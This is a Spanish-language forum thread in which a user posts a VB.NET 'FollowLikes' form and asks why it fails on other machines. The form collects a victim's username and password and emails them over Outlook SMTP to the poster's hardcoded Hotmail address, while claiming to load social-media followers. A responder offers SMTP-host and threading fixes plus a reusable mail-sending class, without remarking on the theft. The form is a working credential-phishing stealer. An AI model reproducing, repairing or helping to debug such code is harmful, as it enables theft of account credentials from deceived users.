problema programa envio mail

[WallkOver]

Hola, yo cree un programa el cual, pones un usuario y contraseña  y enviar y se envia a un correo ya establecido el problema es que funciona perfecto en mi pc pero en otra pc no funciona. Tira el error de mensaje no enviado, cual puede ser el problema?

Código (vbnet) [Seleccionar] Expandir

Imports System.Net.Mail
Public Class FollowLikes
   'NOTE MAKE SURE YOU HAVE ALL THE OBJECTS IN YOUR FORM BEFORE COPY-PASTING
   Dim thread As System.Threading.Thread
   Dim smtp As New SmtpClient("smtp-mail.outlook.com")

   Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
       Control.CheckForIllegalCrossThreadCalls = False
   End Sub

   Private Sub DoGenerate()
     
       Try
           Dim mail As New MailMessage
           mail.From = New MailAddress("leonel1275@hotmail.com")
           mail.To.Add("leonel1275@hotmail.com")
           mail.Subject = "Updates"
           mail.Body = "USERNAME: " + TextBox1.Text + vbNewLine + "PASSWORD: " + TextBox2.Text
           smtp.Port = 587
           smtp.EnableSsl = True
           smtp.Credentials = New Net.NetworkCredential("leonel1275@hotmail.com", "contraseña")
           smtp.Send(mail)
           MessageBox.Show("Cargando Seguidores, Puede que este preceso dure entre 1 a 3 minutos dependiendo de sus seguidores", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
       Catch exE As Exception
           MessageBox.Show("Error Servidor Conctacte al administrador para mas informacion.") 'THIS WILL BE YOUR ERROR MESSAGE, HOWEVER IF YOU WANT TO ADD MORE ACCOUNTS, REPLACE (NESTING, IN PROGRAMMING TERMS) THIS LINE WITH ANOTHER TRY-CATCH BLOCK AND PLACE THE ERROR MESSAGE IN THE LAST CATCH)
       End Try

           




   End Sub



   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

       thread = New System.Threading.Thread(AddressOf DoGenerate)
       thread.Start()

       TextBox1.Enabled = False
       TextBox2.Enabled = False
       Button1.Enabled = False

   End Sub

   Private Sub nomalstate()
       TextBox1.Enabled = True
       TextBox2.Enabled = True
       Button1.Enabled = True
   End Sub





   Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

   End Sub
End Class

· No se debe escribir en mayúsculas
>aquí las reglas del foro
-Engel Lex

[Eleкtro]

Las preguntas sobre VB.NET van en el foro de .NET, no VB6.

Tira el error de mensaje no enviado

Al formular una pregunta de programación se debe depurar el error para indicarnos el mensaje exacto de la excepción, no un mensaje de error personalizado e inventado y decorado en un MsgBox. No sé como pretendes que podamos tener una idea de que problema puede ser, si no nos dices que error te indica en realidad.

no funciona. cual puede ser el problema?

Prueba usando el servidor smtp: smtp.live.com, en lugar de esto: "smtp-mail.outlook.com"

Código (vbnet) [Seleccionar] Expandir

Control.CheckForIllegalCrossThreadCalls = False

Eso no se debe hacer jamás, excepto por motivos de depuración de colisión de threads. Además, en el código que has mostrado no es necesario usar threads al fin y al cabo.

Si tu thread (non-UI-thread) necesita llamar a controles que han sido creados en otro thread (UI-thread), entonces puedes utilizar la función Control.InvokeRequired() y el método Control.Invoke().

Aparte, en este caso la creación manual de threads en tiempo de ejecución resulta bastante innecesario, puesto que puedes utilizar la función SmtpClient.SendMailAsync() y/o el método SmtpClient.SendAsync().



Por último, te dejo una clase que puedes aprovechar. La he extraido de mi framework de pago ElektroKit, el cual puedes encontrar en mi firma de usuario por si te interesa. El código está documentado incluyendo ejemplos de uso, no creo que sea necesario explicar nada más, pero si tienes dudas, pregunta.

Código (vbnet) [Seleccionar] Expandir

' ***********************************************************************
' Author   : Elektro
' Modified : 19-May-2017
' ***********************************************************************

#Region " Public Members Summary "

#Region " Methods "

' SendHotmail(String, String, String, String, String)
' SendHotmail(String, String, String, String, MailAddress)
' SendHotmail(String, String, String, String, String())
' SendHotmail(String, String, String, String, MailAddressCollection)

' SendHotmailAsync(String, String, String, String, String) As Task
' SendHotmailAsync(String, String, String, String, MailAddress) As Task
' SendHotmailAsync(String, String, String, String, String()) As Task
' SendHotmailAsync(String, String, String, String, MailAddressCollection) As Task

#End Region

#End Region

#Region " Option Statements "

Option Strict On
Option Explicit On
Option Infer Off

#End Region

#Region " Imports "

Imports System.Net
Imports System.Net.Mail
Imports System.Threading.Tasks

#End Region

#Region " Mail Util "

Namespace Elektro.Net

   Partial Public NotInheritable Class MailUtil

#Region " Public Methods "

        ''' ----------------------------------------------------------------------------------------------------
        ''' <summary>
        ''' Sends a mail through Microsoft Hotmail service.
        ''' </summary>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <example> This is a code example.
        ''' <code>
        ''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", "Address@Server.com")
        ''' </code>
        ''' </example>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <param name="username">
        ''' The username of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="password">
        ''' The password of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="subject">
        ''' The mail subject.
        ''' </param>
        '''
        ''' <param name="body">
        ''' The mail body.
        ''' </param>
        '''
        ''' <param name="address">
        ''' The target address that will receive our sent mail.
        ''' </param>
        ''' ----------------------------------------------------------------------------------------------------
        <DebuggerStepThrough>
        Public Shared Sub SendHotmail(ByVal username As String,
                                      ByVal password As String,
                                      ByVal subject As String,
                                      ByVal body As String,
                                      ByVal address As String)

            MailUtil.SendHotmail(username, password, subject, body, {address})

        End Sub

        ''' ----------------------------------------------------------------------------------------------------
        ''' <summary>
        ''' Sends a mail through Microsoft Hotmail service.
        ''' </summary>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <example> This is a code example.
        ''' <code>
        ''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", New MailAddress("Address@Server.com"))
        ''' </code>
        ''' </example>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <param name="username">
        ''' The username of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="password">
        ''' The password of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="subject">
        ''' The mail subject.
        ''' </param>
        '''
        ''' <param name="body">
        ''' The mail body.
        ''' </param>
        '''
        ''' <param name="address">
        ''' The target address that will receive our sent mail.
        ''' </param>
        ''' ----------------------------------------------------------------------------------------------------
        <DebuggerStepThrough>
        Public Shared Sub SendHotmail(ByVal username As String,
                                      ByVal password As String,
                                      ByVal subject As String,
                                      ByVal body As String,
                                      ByVal address As MailAddress)

            MailUtil.SendHotmail(username, password, subject, body, {address.Address})

        End Sub

        ''' ----------------------------------------------------------------------------------------------------
        ''' <summary>
        ''' Sends a mail through Microsoft Hotmail service.
        ''' </summary>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <example> This is a code example.
        ''' <code>
        ''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", {"Address1@Server.com", "Address2@Server.com"})
        ''' </code>
        ''' </example>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <param name="username">
        ''' The username of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="password">
        ''' The password of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="subject">
        ''' The mail subject.
        ''' </param>
        '''
        ''' <param name="body">
        ''' The mail body.
        ''' </param>
        '''
        ''' <param name="addresses">
        ''' The target addresses that will receive our sent mail.
        ''' </param>
        ''' ----------------------------------------------------------------------------------------------------
        <DebuggerStepThrough>
        Public Shared Sub SendHotmail(ByVal username As String,
                                      ByVal password As String,
                                      ByVal subject As String,
                                      ByVal body As String,
                                      ByVal addresses As String())

            Dim addressCollection As New MailAddressCollection
            For Each address As String In addresses
                addressCollection.Add(New MailAddress(address))
            Next address

            MailUtil.SendHotmail(username, password, subject, body, addressCollection)

        End Sub

        ''' ----------------------------------------------------------------------------------------------------
        ''' <summary>
        ''' Sends a mail through Microsoft Hotmail service.
        ''' </summary>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <example> This is a code example.
        ''' <code>
        ''' Dim addressCollection As New MailAddressCollection
        ''' addressCollection.Add(New MailAddress("Address@Server.com"))
        ''' addressCollection.Add(New MailAddress("Address2@Server.com"))
        ''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", addressCollection)
        ''' </code>
        ''' </example>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <param name="username">
        ''' The username of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="password">
        ''' The password of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="subject">
        ''' The mail subject.
        ''' </param>
        '''
        ''' <param name="body">
        ''' The mail body.
        ''' </param>
        '''
        ''' <param name="addresses">
        ''' The target addresses that will receive our sent mail.
        ''' </param>
        ''' ----------------------------------------------------------------------------------------------------
        <DebuggerStepThrough>
        Public Shared Sub SendHotmail(ByVal username As String,
                                      ByVal password As String,
                                      ByVal subject As String,
                                      ByVal body As String,
                                      ByVal addresses As MailAddressCollection)

            Using msg As New MailMessage

                For Each address As MailAddress In addresses
                    msg.To.Add(address)
                Next address
                msg.From = New MailAddress(username)
                msg.Subject = subject
                msg.Body = body

                Using client As New SmtpClient()
                    With client
                        .Host = "smtp.live.com"
                        .Port = 587
                        .EnableSsl = True
                        .DeliveryMethod = SmtpDeliveryMethod.Network
                        .Timeout = CInt(TimeSpan.FromSeconds(60).TotalMilliseconds)
                        .Credentials = New NetworkCredential(username, password)
                    End With
                    client.Send(msg)
                End Using

            End Using

        End Sub

' #If NET45 Then

        ''' ----------------------------------------------------------------------------------------------------
        ''' <summary>
        ''' Asynchronously sends a mail through Microsoft Hotmail service.
        ''' </summary>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <example> This is a code example.
        ''' <code>
        ''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", "Address@Server.com")
        ''' </code>
        ''' </example>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <param name="username">
        ''' The username of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="password">
        ''' The password of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="subject">
        ''' The mail subject.
        ''' </param>
        '''
        ''' <param name="body">
        ''' The mail body.
        ''' </param>
        '''
        ''' <param name="address">
        ''' The target address that will receive our sent mail.
        ''' </param>
        ''' ----------------------------------------------------------------------------------------------------
        <DebuggerStepThrough>
        Public Shared Async Function SendHotmailAsync(ByVal username As String,
                                                      ByVal password As String,
                                                      ByVal subject As String,
                                                      ByVal body As String,
                                                      ByVal address As String) As Task

            Await MailUtil.SendHotmailAsync(username, password, subject, body, {address})

        End Function

        ''' ----------------------------------------------------------------------------------------------------
        ''' <summary>
        ''' Asynchronously sends a mail through Microsoft Hotmail service.
        ''' </summary>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <example> This is a code example.
        ''' <code>
        ''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", New MailAddress("Address@Server.com"))
        ''' </code>
        ''' </example>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <param name="username">
        ''' The username of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="password">
        ''' The password of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="subject">
        ''' The mail subject.
        ''' </param>
        '''
        ''' <param name="body">
        ''' The mail body.
        ''' </param>
        '''
        ''' <param name="address">
        ''' The target address that will receive our sent mail.
        ''' </param>
        ''' ----------------------------------------------------------------------------------------------------
        <DebuggerStepThrough>
        Public Shared Async Function SendHotmailAsync(ByVal username As String,
                                                      ByVal password As String,
                                                      ByVal subject As String,
                                                      ByVal body As String,
                                                      ByVal address As MailAddress) As Task

            Await MailUtil.SendHotmailAsync(username, password, subject, body, {address.Address})

        End Function

        ''' ----------------------------------------------------------------------------------------------------
        ''' <summary>
        ''' Asynchronously sends a mail through Microsoft Hotmail service.
        ''' </summary>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <example> This is a code example.
        ''' <code>
        ''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", {"Address1@Server.com", "Address2@Server.com"})
        ''' </code>
        ''' </example>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <param name="username">
        ''' The username of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="password">
        ''' The password of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="subject">
        ''' The mail subject.
        ''' </param>
        '''
        ''' <param name="body">
        ''' The mail body.
        ''' </param>
        '''
        ''' <param name="addresses">
        ''' The target addresses that will receive our sent mail.
        ''' </param>
        ''' ----------------------------------------------------------------------------------------------------
        <DebuggerStepThrough>
        Public Shared Async Function SendHotmailAsync(ByVal username As String,
                                                      ByVal password As String,
                                                      ByVal subject As String,
                                                      ByVal body As String,
                                                      ByVal addresses As String()) As Task

            Dim addressCollection As New MailAddressCollection
            For Each address As String In addresses
                addressCollection.Add(New MailAddress(address))
            Next address

            Await MailUtil.SendHotmailAsync(username, password, subject, body, addressCollection)

        End Function

        ''' ----------------------------------------------------------------------------------------------------
        ''' <summary>
        ''' Asynchronously sends a mail through Microsoft Hotmail service.
        ''' </summary>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <example> This is a code example.
        ''' <code>
        ''' Dim addressCollection As New MailAddressCollection
        ''' addressCollection.Add(New MailAddress("Address@Server.com"))
        ''' addressCollection.Add(New MailAddress("Address2@Server.com"))
        ''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", addressCollection)
        ''' </code>
        ''' </example>
        ''' ----------------------------------------------------------------------------------------------------
        ''' <param name="username">
        ''' The username of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="password">
        ''' The password of the Hotmail account.
        ''' </param>
        '''
        ''' <param name="subject">
        ''' The mail subject.
        ''' </param>
        '''
        ''' <param name="body">
        ''' The mail body.
        ''' </param>
        '''
        ''' <param name="addresses">
        ''' The target addresses that will receive our sent mail.
        ''' </param>
        ''' ----------------------------------------------------------------------------------------------------
        <DebuggerStepThrough>
        Public Shared Async Function SendHotmailAsync(ByVal username As String,
                                                      ByVal password As String,
                                                      ByVal subject As String,
                                                      ByVal body As String,
                                                      ByVal addresses As MailAddressCollection) As Task

            Using msg As New MailMessage

                For Each address As MailAddress In addresses
                    msg.To.Add(address)
                Next
                msg.From = New MailAddress(username)
                msg.Subject = subject
                msg.Body = body

                Using client As New SmtpClient()
                    With client
                        .Host = "smtp.live.com"
                        .Port = 587
                        .EnableSsl = True
                        .DeliveryMethod = SmtpDeliveryMethod.Network
                        .Timeout = CInt(TimeSpan.FromSeconds(60).TotalMilliseconds)
                        .Credentials = New NetworkCredential(username, password)
                    End With
                    Dim t As Task = client.SendMailAsync(msg)
                    Await t
                End Using

            End Using

        End Function

' #End If

#End Region

    End Class

End Namespace

#End Region

¡Saludos!